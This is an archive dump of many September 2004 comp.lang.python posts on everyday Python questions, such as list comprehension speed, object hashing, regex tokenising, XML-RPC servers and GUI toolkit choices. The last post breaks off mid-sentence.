Thu Sep 30 17:22:49 2004 From: bokr at oz.net (Bengt Richter) Date: 30 Sep 2004 21:22:49 GMT Subject: List comprehensions performance References: <278de0e.0409291441.4ef0a859@posting.google.com> <1gkxa0o.1l5eyr0128x6mbN%aleaxit@yahoo.com> <1gkxzys.16do9ui1xakcfbN%aleaxit@yahoo.com> Message-ID: On Thu, 30 Sep 2004 20:13:04 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: >Bengt Richter wrote: > ... >> >...but if the for loop is NOT equivalent (it doesn't accumulate results >> >into a resulting list), it's still faster. As I posted: >> > >> >kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' 'for x in >> >xrange(999): f()' >> >1000 loops, best of 3: 1.29e+03 usec per loop >> >kallisti:~/cb alex$ python2.4 timeit.py -s'def f():pass' '[f() for x in >> >xrange(999)]' >> >1000 loops, best of 3: 1.45e+03 usec per loop >> > >> >the LC is paying for the building of a list of 999 references to None, >> >which the for loop easily avoids, so the for loop is much faster here. >> >> What if you abuse the LC so it makes an empty list? E.g., >> [None for x in xrange(999) if f() and False] > >Now tell me, is timing so HARD...?! This obfuscation times (on 2.4 and >the same old iBook as above) to 1.38e+03 usec per loop, still slower >than the plain old loop -- the if/and rigmarole costs... > Sure, I was just wondering what would happen if you traded that for list growth overhead. Anyway, thanks. It _is_ hard to compare with someone else's previous timing numbers ;-) Maybe timeit.py should have an option for bogomips normalization or returning time*bogomips. My system needs an upgrade ;-) Regards, Bengt Richter From rsh_remove_this_ at pobox.dk Thu Sep 9 16:15:30 2004 From: rsh_remove_this_ at pobox.dk (Rudi Hansen) Date: Thu, 9 Sep 2004 22:15:30 +0200 Subject: Is there no switch function in Python Message-ID: I dont seem to be able to find the switch statement in Python. I would like to be able to do switch(var) case 1 : print "var = 1" case 2: print "var = 2" But it seems that i have to do. if(var=1) print "var =1" elseif(var=2) print "var=2" Is ther no easier way?? From roman.yakovenko at actimize.com Thu Sep 9 03:49:25 2004 From: roman.yakovenko at actimize.com (Roman Yakovenko) Date: Thu, 9 Sep 2004 10:49:25 +0300 Subject: Set and {} comparison confusion Message-ID: <2D89F6C4A80FA547BF5D5B8FDDD04523060CC7@exchange.adrembi.com> Thanks. I have an other question, more general: I have class A that defines __eq__ and __ne__. I have 2 lists of instances of A What is the right way to find out whether those lists are equal (as sets) or not? Thanks for help > -----Original Message----- > From: Alex Martelli [mailto:aleaxit at yahoo.com] > Sent: Thursday, September 09, 2004 10:29 AM > To: python-list at python.org > Subject: Re: Set and {} comparison confusion > > > Roman Yakovenko wrote: > > > Hi. Could somebody explain why sets and dict are different ? > > sets.Set is build around dict, so let's concentrate on dict, the set > just follows from there. > > > > > from sets import Set as set > > > > class A(object): > > def __init__( self, x ): > > self.x = x > > def __eq__( self, other ): > > return self.__dict__ == other.__dict__ > > This class is NOT correctly hashable. > > A crucial semantic condition for hashing is: > > X==Y ***MUST imply*** hash(X)==hash(Y) > > But this is not ensured by this class A. For example, as > you've noticed > all A(1) instances compare equal to each other: > > > print 'A(1) == A(1)', A(1) == A(1) > > and yet their hashes are all different (and happen to equal > their id's, > since you have not overridden __hash__): > > xx = [] > for i in xrange(4): > xx.append(A(1)) > print hash(xx[-1]) > > emits, e.g.: > > 255856 > 256752 > 359376 > 357840 > > ((note we're careful to keep the A(1)'s around, otherwise, if one had > been garbage collected the next one might happen to be > allocated just at > the same place, thus accidentally have the same id...)). > > As you are violating a semantic precondition of dict (that it be only > keyed into by _validly_ hashable keys), don't be surprised if the > behavior of such dicts is weird. You can imagine equality comparison > starts by checking equality of hash values for keys to bail > out fast in > most cases, here the hash values are different, so, poof. > > Not easy to make that class A _correctly_ hashable, either (and it > really should be immutable too). Assuming self.x is always > hashable and > nobody ever reassigns it nor assigns any other attribute, you > could try > adding something like...: > > def __hash__(self): > return hash(tuple(self.__dict__.iteritems())) > > > Alex > -- > http://mail.python.org/mailman/listinfo/python-list > From anna at aleax.it Wed Sep 29 13:12:26 2004 From: anna at aleax.it (Anna Martelli Ravenscroft) Date: Wed, 29 Sep 2004 17:12:26 GMT Subject: datetime strftime methods require year >= 1900 In-Reply-To: References: Message-ID: <_1C6d.23441$35.1195951@news4.tin.it> John Hunter wrote: >>>>from datetime import date >>>>dt = date(1005,1,1) >>>>print dt.strftime('%Y') > > Traceback (most recent call last): > File "", line 1, in ? > ValueError: year=1005 is before 1900; the datetime strftime() methods require year >= 1900 > > Does anyone know of a datetime string formatter that can handles > strftime format strings over the full range that datetime objects > support? > > Thanks, > John Hunter Why would you need to use strftime, if you've already got a year? >>> print dt.year 1005 HTH Anna From duncan.booth at invalid.invalid Tue Sep 21 08:08:21 2004 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 21 Sep 2004 12:08:21 GMT Subject: flat tuple References: <41501751$0$22757$db0fefd9@news.zen.co.uk> Message-ID: Will McGugan wrote: > What is the simplest way of turning a single value and a tuple in to a > single 'flat' tuple? > > ie. > > t= ( 1, 2, 3 ) > n= 10 > > n, t gives me ( 10, ( 1, 2, 3 ) ) > > Fair enough, but I would like to get.. ( 10, 1, 2, 3 ) > > I would like to use the result to create a string with the % operator - > I was hoping there was some shorthand to produce ( n, t[0], t[1], t[2] ). > Tuples support concatenation so all you have to do is to wrap n in a tuple then add them together: format % ((n,) + t) From usenet_spam at janc.invalid Wed Sep 15 15:04:54 2004 From: usenet_spam at janc.invalid (JanC) Date: Wed, 15 Sep 2004 19:04:54 GMT Subject: Ranting about the state of Python IDEs for Windows References: <7LudnZweyKXOoNrcRVn-sw@adelphia.com> Message-ID: Neil Benn schreef: > This is just a small suggestion but one tool that you could > look at is jedit (http://www.jedit.org) 64 MiB RAM for Windows + JVM + JEdit + Python console + browser + ... ? -- JanC "Be strict when sending and tolerant when receiving." RFC 1958 - Architectural Principles of the Internet - section 3.9 From __peter__ at web.de Sat Sep 18 05:10:16 2004 From: __peter__ at web.de (Peter Otten) Date: Sat, 18 Sep 2004 11:10:16 +0200 Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change References: Message-ID: Ville Vainio wrote: > Are we going to have another vote? Do people still care enough to > count? > > If so, here's my vote for '|' :-). Seems you are the only voter, so '|' will be it. [Guido] 'The definition of "significant support" is intentionally left open for interpretation, I'll review the evidence on the 23rd.' Well, 100% is as significant as it can get :-) Peter From Brian.Inglis at SystematicSW.Invalid Thu Sep 9 08:11:32 2004 From: Brian.Inglis at SystematicSW.Invalid (Brian Inglis) Date: Thu, 09 Sep 2004 12:11:32 GMT Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com><%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net><2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <20040904.0140.57670snz@dsl.co.uk> <769.746T1245T5844062@kltpzyxm.invalid> Message-ID: On 07 Sep 04 09:44:24 -0800 in alt.folklore.computers, "Charlie Gibbs" wrote: >In article <20040904.0140.57670snz at dsl.co.uk>, bhk at dsl.co.uk >(Brian {Hamilton Kelly}) writes: > >>On Thursday, in article >> amajorel at teezer.fr >>"Andre Majorel" wrote: >> >>> Are you arguing that the stability comes from the API, not from >>> the implementation ? If so, why has NT become more stable over >>> the years, since its API has not changed ? >> >>I'd like to imagine that it's because there are fewer fuckwits using >>it; BICBW.... > >Does this mean that XP is getting less stable? Well MS touted their SP2 security upgrade, then backed down rather quickly, as it created as many new bugs and holes as it fixed, and also broke a large number of third party applications, possibly because they were coded to work with the way XP actually behaved, rather than as it was documented to work. -- Thanks. Take care, Brian Inglis Calgary, Alberta, Canada Brian.Inglis at CSi.com (Brian[dot]Inglis{at}SystematicSW[dot]ab[dot]ca) fake address use address above to reply From in.aqua.scribis at nl.invalid Thu Sep 9 11:39:20 2004 From: in.aqua.scribis at nl.invalid (Peter Kleiweg) Date: Thu, 9 Sep 2004 17:39:20 +0200 Subject: simple string parsing ? In-Reply-To: References: Message-ID: Peter Kleiweg schreef: > TAG schreef: > > > if I have : > > > > =+GC142*(GC94+0.5*sum(GC96:GC101)) > > > > and I want to get : > > > > ['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(', > > 'GC96', ':', 'GC101', ')', ')'] > > > > how can I get this ?????? > > import re > R = re.compile('[=+*:()]|[a-z]+|[A-Z]+[0-9]+|[0-9]*\.[0-9]+|[0-9]+|[^ \t\r\n]) > s = '=+GC142*(GC94+0.5*sum(GC96:GC101))' > R.findall(s) Even simpler: import re R = re.compile('[=+*:()]|[^=+*:() \t\r\n]+') s = '=+GC142*(GC94+0.5*sum(GC96:GC101))' R.findall(s) -- Peter Kleiweg L:NL,af,da,de,en,ia,nds,no,sv,(fr,it) S:NL,de,en,(da,ia) info: http://www.let.rug.nl/~kleiweg/ls.html From physics_seeker at yahoo.com Mon Sep 27 20:40:25 2004 From: physics_seeker at yahoo.com (PhysicsGenius) Date: Tue, 28 Sep 2004 00:40:25 GMT Subject: SimpleXMLRPCServer In-Reply-To: References: Message-ID: Jeremy Jones wrote: > Istvan Albert wrote: > >> Yannick Turgeon wrote: >> >>> "Simple". What are its limitations? >> >> >> >> No limitations whatsoever ... it is "Simple" to use >> >> :-0 >> >> Istvan. >> > Simple indeed. I don't know for sure the reasons for naming it > "Simple". But it may have to do with the fact that the out-of-the-box > SimpleXMLRPCServer will only handle one request at a time: a request > comes in, the server accepts that request, blocking until the method > call returns, and the response is sent back to the client. It does not > spawn a thread per request. It does not "select" among multiple > requests. It will not create a thread pool for you. If you want that > added functionality, you can write a little custom code to get it to > spawn a thread per request. A little more code to only spawn n number > of threads. A little more code still to create a thread pool. And if > you want a server that "select"s among multiple requests, I'm not 100% > sure, but I bet Twisted has one of those. I have a non-threaded, select()ing SimpleXML-RPC server. I have stressed it yet, but I have verified that the concept works. From abpillai at gmail.com Wed Sep 1 09:33:57 2004 From: abpillai at gmail.com (Anand Pillai) Date: 1 Sep 2004 06:33:57 -0700 Subject: Announcing PyCs, a new Python-like language on .Net References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> <41357372.E263DE37@alcyone.com> Message-ID: <8548c5f3.0409010533.1fed5008@posting.google.com> Some questions... o How "Python-like" is your new language ? o How does it differ from Mark Hammond's Python for .NET ? o How does it differ from Jim Hugunin's IronPython ? o You say "PyCs is the first dynamic language to have all the capabilities of C# and PyCs can be programmed quickly and easily in an interactive way like its predecessor Python." When I have Python, tell me what other "dynamic" features does PyCS add? Anyway Python is already dynamic, interactive and all that. o What all features do you plan to borrow from C Sharp? In other words, is this C# on Python or Python on C# ? o Why do you need another language just to have the SQL/XML features of some X#? Why not just add it as an optimizing module like Psyco does ? o You say PyCS is not compatible with Python, yet Python and C# code can be ported to it. Why in the world should I decide to do something like that, if my Python and C# code works well enough for me? What *new* thing does PyCS bring in? o PyCS is basd on Prothon. Prothon, never completed was Prototypes + Python. PyCS is Python + CSharp, but not compatible with Python. ..... To me it looks like the one thing PyCS borrowed from Python is the "Py" prefix, nothing else. o PyCS is called Pisces... Now it is pixie... Excuse me, are we talking of magical pixie-dust here? o Quoting from your website, "We had a tough challenge with Prothon, a prototype-based language, being implemented on top of Python", yet you say that Prothon is incompatible with Python. Help me, I am confused here. -Anand Anand Pillai, (Python Hobbyist, Author, Software Developer), INFOSYS, Bangalore, INDIA. Erik Max Francis wrote in message news:<41357372.E263DE37 at alcyone.com>... > Mark Hahn wrote: > > > It turns out that I missed a sourceforge project called PyCs so we > > will be > > changing our name soon. > > [blank look] > > > The new language is actually just a subtle shift from the old Prothon > > as > > far as the programmer is concerned, but since we were dropping > > prototypes, > > we really had to change the name. > > [another blank look] > > Okay, seriously, is this whole thing like a hoax or something? From elainejackson7355 at home.com Thu Sep 16 13:48:52 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Thu, 16 Sep 2004 17:48:52 GMT Subject: "Updating" lambda functions References: <2qtl0oF139gn6U1@uni-berlin.de> Message-ID: <8mk2d.444906$gE.144534@pd7tw3no> "Oliver Fromme" wrote in message news:2qtl0oF139gn6U1 at uni-berlin.de... | That works, but it strikes me as unclean and ugly. | Is there a better way to do it? I don't like it either. Consider this: >>> composition = lambda f,g: lambda x: f(g(x)) >>> add_17 = lambda x: x+17 >>> mul_3 = lambda x: 3*x >>> fu = lambda x:x >>> fu(3) 3 >>> fu = composition(add_17,fu) >>> fu(3) 20 >>> fu = composition(mul_3,fu) >>> fu(3) 60 From carribeiro at gmail.com Mon Sep 27 10:13:17 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 27 Sep 2004 11:13:17 -0300 Subject: Metaclass with name overloading. In-Reply-To: <1gks231.p4u2yr14s3pwfN%aleaxit@yahoo.com> References: <1gks231.p4u2yr14s3pwfN%aleaxit@yahoo.com> Message-ID: <864d370904092707138492cc8@mail.gmail.com> On Mon, 27 Sep 2004 15:27:31 +0200, Alex Martelli wrote: > > 1) One such idea is to provide the metaclass with a __dict__ factory. > > If you go that route, then it may indeed require changes too deep for > 2.5 or 2.anything. The metaclass gets determined later, at the time > CALL_FUNCTION executes the metaclass ain't in play yet. > > > By using a user-defined dict, we would still use the default dict most > > of the time without any noticeable performance hit, but would be able > > to change the guts of the class declaration system whenever needed. > > Yeah, but if you make it a metaclass's job, then you're indeed asking > for deep changes from today's architecture. Yes, that's why I said that I don't think this is possible in a short time frame. But for now, I have only one question. You said that the metaclass is determined later. I'm not familiar with Python's internals, but I (naively?) assumed that the metaclass is known very early in the class declaration process. Is that wrong? obs 1: If it's possible to determine the metaclass *early*, then it's no problem to call any extra function to provide the f_locals dict, or to provide an augmented dict. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From carribeiro at gmail.com Mon Sep 13 13:41:33 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 13 Sep 2004 14:41:33 -0300 Subject: Small inconsistency between string.split and "".split In-Reply-To: References: Message-ID: <864d370904091310411a2cf435@mail.gmail.com> On Mon, 13 Sep 2004 13:09:26 -0400, Peter Hansen wrote: > Works here: > > >>> s.split('s', 1) > ['thi', ' is my string'] > >>> s.split('s', 2) Unfortunately, this is *not* what I had meant to ask for. What I am saying is that: import strings strings.split(maxsplit=1) works, while mystring.split(maxsplit=1) doesn't. In short, the builtin string method doesn't accept keyword parameters while the strings.split() function does. Alas, the "None" trick is not documented -- and without knowing about it, I had no other way around. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From fred at adventistcare.org Fri Sep 24 08:04:45 2004 From: fred at adventistcare.org (Sells, Fred) Date: Fri, 24 Sep 2004 08:04:45 -0400 Subject: Python GUI, which one? Message-ID: <777056A4A8F1D21180EF0008C7DF75EE033170DA@sunbelt.org> I see there are several different choices for Python GUI API's. Is there any indication of which ones are 1. the most commonly used? 2. the most reliable? 3. the most robust? From max at alcyone.com Tue Sep 28 04:40:14 2004 From: max at alcyone.com (Erik Max Francis) Date: Tue, 28 Sep 2004 01:40:14 -0700 Subject: Unary plus operator and __pos__ References: <4157A0BA.E3DE876@alcyone.com> Message-ID: <4159236E.116BD0DE@alcyone.com> Gerrit wrote: > Erik Max Francis wrote: > > > Unary plus is __pos__ for positive, unary minus is __neg__ for > > negative. > > > > The unary plus operator, I'm sure, is a holdover from C. Since the > > unary plus operator is a no-op for normal numeric values, I would be > > hesitant to use it to mean something else; > > The Decimal class does: > > >>> n = Decimal((0, (0, ), 'N')) > >>> n > Decimal("sNaN") > >>> +n > Traceback (most recent call last): > File "", line 1, in ? > File "/usr/local/lib/python2.4/decimal.py", line 863, in __pos__ > ans = self._check_nans(context=context) > File "/usr/local/lib/python2.4/decimal.py", line 619, in _check_nans > 1, self) > File "/usr/local/lib/python2.4/decimal.py", line 2243, in _raise_error > raise error, explanation > decimal.InvalidOperation: sNaN I don't see how that's at all a useful feature. Besides, one add-on module as a counterexample doesn't exactly invalidate the point, which was a personal opinion on a design goal, anyway. -- __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ / \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis \__/ History is a set of lies agreed upon. -- Napoleon Bonaparte From steven.bethard at gmail.com Mon Sep 13 16:39:10 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Mon, 13 Sep 2004 20:39:10 +0000 (UTC) Subject: unittest.TestCase, lambda and __getitem__ References: <1gk1nqx.1ul836r1k96yuhN%aleaxit@yahoo.com> <1gk1qu1.1778fyhc2kvbzN%aleaxit@yahoo.com> Message-ID: Alex Martelli yahoo.com> writes: > > There is no indication on the PEP that Guido means to remove the ability > to use a single line such as def name(): return 23. Yeah, I noticed the if thing wasn't in the PEP, but it is in the Wiki at http://www.python.org/moin/Python3_2e0. 'Course the Wiki is really just things he's been quoted as saying -- presumably the PEP is thing that he's been quoted as saying and intends to pursue... Regardless, I personally can't bring myself to write one-line defs. ;) > All in all I think changing lambdas into defs is a worthy endeavour and > enhances your code. Yeah, I actually did end up changing some of them. For example, one of my testing methods now looks something like: def getitem(obj, item): return obj[item] self.assertRaises(IndexError, getitem, myobj, -10) self.assertRaises(IndexError, getitem, myobj, 9) ... self.assertRaises(IndexError, getitem, myobj2, -5) self.assertRaises(IndexError, getitem, myobj2, 4) ... It does make sense in situations like this when you're repeating the same kind of code a number of times, and because it's apparent from the code that getitem does in fact execute obj[item], I feel more comfortable with this than something like operator.getitem where I can't see what code is really executed. > And if it should ever turn out in the future that > you do need a line break after the : in "def name(): ...", it's a > trivial and totally mechanical transformation... Good point. > > Hmm... Well, if this is really the only option, I'll probably leave these > > lambdas until I absolutely have to remove them... > > I've never seen a syntax proposed for an "anonymous def" that Guido > would find in the least acceptable, if that's what you mean. No, I wasn't actually expecting anonymous defs. They've come up so many times without ever being accepted that I expect they won't ever make it into the language. All-in-all, I don't really consider this a loss. Really, assertRaises is the only time I've really wanted them, and only because testing code often has lots of special cases that don't necessarily generalize well. STeve Steve From steveb428pleaseremovethis at hotmail.com Sat Sep 18 12:12:00 2004 From: steveb428pleaseremovethis at hotmail.com (DilbertFan) Date: Sat, 18 Sep 2004 16:12:00 GMT Subject: New Programmer and Python References: <_NidnfFXMMGVyNHcRVn-hg@comcast.com> Message-ID: Think of a program you want to write, and just do the psuedo first. What objects do you need?, do you need to read from a file, and where does the output go.. no fancy gui yet. Write the flowchart or psuedocode of what happens before what, before even looking into how to do it in Python. And then check out Quick Python book, or one of the other tutorials when it's time to write the classes. At an absolute minimum, write a module with a main, and then just start setting variables and then printing them out. "PMD96" wrote in message news:_NidnfFXMMGVyNHcRVn-hg at comcast.com... > I'm new to programming and have been recommended to start with Python. I've > reviewed the tutorial and am looking for additional learning tools to learn > programming and Python. Any recommendations? > > From carribeiro at gmail.com Wed Sep 29 08:16:26 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 29 Sep 2004 09:16:26 -0300 Subject: up with PyGUI! In-Reply-To: <2rv0t6F1evq2vU1@uni-berlin.de> References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> <2rv0t6F1evq2vU1@uni-berlin.de> Message-ID: <864d370904092905164d4ef61@mail.gmail.com> On Wed, 29 Sep 2004 17:52:35 +1200, Greg Ewing wrote: > class MyWindow(Window): > > def __init__(self): > > instance b1(Button): > size = (40, 40) > text = "b1" Greg, I don't know how far have you advanced with your own system. I'm writing my own, but I decided to focus on HTML generation -- it's a templating system, but designed to work entirely in Python. But the basic design can be used for other types of application - for example, generation of Qt or wxPython code. I've posted some code last week, but I have improved greatly since, and solved some problems. There are a few issues where I still haven't found a satisfactory solution. Here's a sample of code I'm working with: class Page(HtmlPage): class html_head(HtmlHeader): copyright = trimdocstring(""" Web Application Framework ABCD/TS - Abusing Class Declarations Templating System (c) 2004 Carlos Ribeiro carribeiro at gmail.com """) title = 'Web Application Framework' style = CSSStyleSheet class html_body(HtmlBlock, Tag('body')): class main_document(TwoColumnLayout): class head(PageHeader): title = '' class nav(NavigationPane): class menu(HtmlMenu) id = 'navmenu' options = [("Usu?rios", "/usuarios"), ("Tarefas", "/tarefas"), ("Notas fiscais", "/notasfiscais"), ("Estoque", "/estoque"), ("Sobre o sistema", "/sobre"), ]) class content(DocumentPane): text = '' class AboutPage(Page): class html_head(Page.html_head): title = 'About this system' class html_body(Page.html_body): title = 'About this system' class main_document(Page.html_body.main_document): class content(Page.html_body.main_document.content): text = trimdocstring("""

Templating system

This is a templating system based on Python declarations. The main advantage is the possibility to express complex data structures using code-driven intelligence. The system is fully object-oriented, supports inheritance, and allows for easy modularization and code reuse.

""") All interesting classes shown above are descendants from a single HtmlElement class, which declares a method 'text'. The following sequence renders the AboutPage: AboutPage().text() One thing that still bothers me is that I need to redeclare the full path to the nested classes when I want to override some behavior, as in: ... class content(Page.html_body.main_document.content): That was the best solution that I could find. I tried to use descriptors to write this code in a slightly simpler way, but couldn't manage to make them work as wanted, and I'm not even sure if it's possible. The resulting html code is being designed for *readability* first, and is properly indented, which makes easier to debug the system at this stage. I'm keeping good distance of premature optimization at this point. It's my intention, in the future, to provide a way to generate native applications from the same templates, within a 'browser-like' environment but using native controls for data editing whenever possible. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From luis_XX at XXiname.com Thu Sep 2 13:58:42 2004 From: luis_XX at XXiname.com (Luis P. Mendes) Date: Thu, 02 Sep 2004 18:58:42 +0100 Subject: use of Java modules Message-ID: <2pp4v4Fnp39vU1@uni-berlin.de> Hi, I have a Python program that needs to interact with Java as follows: 1- A website supplied me java code that is able to perform some web services; 2- my Python program triggers some events; 3- I would like to use that java code when an event is triggered, instead of having to recode everything in Python; 4- I know nothing about java, don't even know what .jar .class and .java files are used for; 5- I've checked Jython.org but I don't know if it is what I was looking for, because, preferably, I wouldn't like to have to learn Java; 6- Example: is it possible to import a java function such as connect() and use it in my Python program directly using parameters like: z1=value1 z2=value2 if TRUE: connect(z1,z2) <-- java function with z1 and z2 7- is it possible to have, as other example: var1, var2 = JAVA_FUNCTION(z1,z2) So,my question are: is Jython the way to do it? if not, how? are there tutorials for extreme begginers in using another language in Python? Luis From simonwittber at gmail.com Fri Sep 24 03:55:33 2004 From: simonwittber at gmail.com (Simon Wittber) Date: 24 Sep 2004 00:55:33 -0700 Subject: Unexpected Python Behavior Message-ID: <4e4a11f8.0409232355.6ba0468d@posting.google.com> For the first time, I have been bitten by Python. The below code produces the results: False True when I initially expected the results: False False It took me a while to work out that default keyword argument values are likely only evaluated once, which caused the empty dict to be shared across classes... It certainly something newbie python coders should look out for! Simon W. ---snip-here--- class X(object): def __init__(self, d={}): self.d = d a = X() b = X() print a is b print a.d is b.d ---snip-here--- From yves.daoust at tiscali.be Wed Sep 8 03:40:46 2004 From: yves.daoust at tiscali.be (Yves Daoust) Date: 8 Sep 2004 00:40:46 -0700 Subject: Menu events handling Message-ID: Hi, I am rather new to Python but a skilled programmer anyway. I am working on a prototype application that has a main menu with cascaded sub-menus and commands. I'd like that even handlers be called whenever the user sweeps the mouse cursor over a menu item or clicks any menu item (command or not). I have assigned functions as 'command' or 'postcommand' options of my menu objects, but this does not give the intended effect. I have tried to bind different events ( / / ...) to these, but none seems to work (even after setting 'takefocus' to true). Can anyone help ? Yves From mlh at furu.idi.ntnu.no Sat Sep 18 08:26:29 2004 From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland) Date: Sat, 18 Sep 2004 12:26:29 +0000 (UTC) Subject: Comparioson of purpose for PyGUI and AnyGUI ??? References: <1gkb1xb.13ayfy1rayeymN%aleaxit@yahoo.com> Message-ID: In article <1gkb1xb.13ayfy1rayeymN%aleaxit at yahoo.com>, Alex Martelli wrote: >Francesco Bochicchio wrote: > ... >> layer). The real challenge is to make the devlopers of the various >> extensions agree on the 'best' GUI API. > >Even though a while ago I participated in the design of AnyGUI's API, I >believe Greg has the makings of a better API in PyGUI. And if you can >get one designer of a "competing" API to say that, there may be some >hope for a wider consensus;-). :) I haven't examined Greg's API in detail lately, but the original Anygui API was inspired by it. I do think Greg seems to have a knack for simple and pragmatic solutions, while I may have a weakness for 'clever' and 'cute' (c.f. Anygui ;) There have been comments about elsewhere in this thread about a fundamental issue in Anygui: The need to support many toolkits. This was the raison d'?tre for Anygui in the first place -- it was supposed to be a pure-Python module that would run (almost) anywhere, regardless of which GUI toolkit the user/admin happened to have installed. Anygui succeeded as a proof of concept, but the burden of sustained support and development for many toolkits did make it very impractical to keep things going. At the moment the project is effectively on ice. If Greg can make a reasonably full-featured system (which isn't too hard to install/compile and has a native look on the major platforms) I think that would be a major step toward a 'standard' GUI package for Python. If not, there are existing packages (e.g. wx) that work very well -- perhaps there really isn't a need for anything more standard than that? -- Magnus Lie Hetland Fallen flower I see / Returning to its branch http://hetland.org Ah! a butterfly. [Arakida Moritake] From carribeiro at gmail.com Tue Sep 21 12:50:41 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 21 Sep 2004 13:50:41 -0300 Subject: Python 3.0, rich comparisons and sorting order Message-ID: <864d370904092109509df67ee@mail.gmail.com> Reading PEP-3000, one proposed change caught my attention. I've checked the Python Wiki, and here it is: -> Raise an exception when making comparisons between two incongruent types (other than equality and inequality.) -> Reason: such comparisons do not make sense and are especially confusing to new users of Python. While I agree that having comparison between values of different types (classes?) may be confusing, it is useful to define the sorting order. I thought that the idea (since 2.1, and even more with 2.4) is the sort ordering would rely on the rich comparison methods. For example: today's lists may contain objects of arbitrary types and can be sorted; even if the actual ordering may seem arbitrary, it works for most purposes. My question is: If Python 3.0 abolishes comparison between arbitrary types, how will generic sorting be handled? My guess is that it will not be possible unless you provide a generic __cmp__ comparison function (that was the pre-2.1 method, I think). The underlying assumption is that heterogeneous lists are not supposed to be sorted, unless the programmer really knows what he's doing. (BTW, for all purposes the same can be said about the use of the new key argument provided by 2.4). p.s. The definitive answer to this question (if any) should be included in PEP3000. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From aleaxit at yahoo.com Thu Sep 16 03:11:48 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 16 Sep 2004 09:11:48 +0200 Subject: up with PyGUI! References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> Message-ID: <1gk7753.1c973iatj1rtuN%aleaxit@yahoo.com> Jorge Godoy wrote: > aleaxit at yahoo.com (Alex Martelli) writes: > > > If you buy BlackAdder, it comes with PyQT and Qt licenses and is cheaper > > than the Qt license for C++ development. A great bargain even if you > > never use the IDE itself (unless you also want to do C++ dev't). > > I saw that... It is the most interesting offer on the product that I've > seen. The difference is a good one. US$ 399.99... PyQT alone costs > 250.00 pounds sterling. I don't know if I have to have a license of Qt > too or if it is included with PyQT, I'd have to read more carefully to > find it out or ask them that. If you want to develop in C++ as well, you need a Qt license. What you get with BlackAdder comes with a license to redistribute only apps you write in Python, not those you write in C++. > Another calculation one should do is the ROI of such an investment. So That's the key one, of course. > far, as I said in my previous message, the demand for it has not > convinced me to buy it. Yet. And yes, I point it out as an option in > some projects. But if the customer buys it, rather than you, the ROI is going to be lower. They get a license to redistrib apps they won't ever write, and you're back to the same issue on the next proj for another customer. If you buy the license, you can then redistrib to any or all of the many customers you write apps for. > If PyGUI will have native widgets for Windows as it does for Mac, I hope > it becomes standard. Its API seemed cleaner than wxPython's (and with > one less emulation layer than wax, as pointed out on this thread...). Yes. It all depends on somebody wanting to scratch that particular itch, as usual for opensource projects. > I remember iBooks starting at something like US$ 2100.00... That's more > than half of the Dell :-) iBooks start at about HALF what you remember. > > I'm at the other end of the spectrum, with an iBook 12" ultraportable > > which cost me, 9 months ago, roughly 1000, about 1/2 as much as the > > closest comparable machine in the Windows world (an IBM Thinkpad X40). > > I wish we had those prices here... I wish we had those prices here, too. We don't, so I buy in the US: any AppleStore there is happy to sell me an iBook, and Apple's warranty on portable products is worldwide. (And I far _prefer_ the US-layout keyboard I get that way to an Italian-layout one -- US and Spanish are the only layouts you can buy in the US). Why Apple chooses to price stuff cheap in richer countries, US foremost, and dearer the poorer the country, I dunno. > > In this case, adding the $$$ for Visual Studio to the mix, vs the free > > XCode I have here, would make the price comparison just ridiculous. > > Indeed. But then, if you bought the other computer without Windows and > added a free operating system -- you said you use Linux... --, with its > development tools, then things would start being more comparable. Indeed, Linux is what I run on desktops, and I go back with it to 0.92. But on laptops all of my attempts haven't yet produced one that can deal with 'sleep' properly, while on the iBook _it just works_, no hassles. > > I wouldn't know where to find a good ultraportable 12" in the PC world > > for this kind of prices -- and if I did, Linux wouldn't perfectly > > support its "sleep" facilities, a key issue in ultraportable laptops. > > I've read somewhere about enhancements to this function in the most > recent kernel. I can't say anything about it, though, since I don't own > a notebook. I'll check it out eventually, since I do have a couple of old intel-based notebooks. But I've heard about such enhancements about every release on the last few years so I'm not holding my breath. > My machines here are 100% free and in the country where 60+% of the > software is illegal, I'm very proud of saying that there's nothing > without a proper license here :-) That's very important -- piracy is pretty widespread in Southern Europe, too, and from my POV what it does is first and foremost present unfair competition to free software. > Maybe I'm just talking about BlackAdder's/Qt's price because of this > culture here or because I'm used to 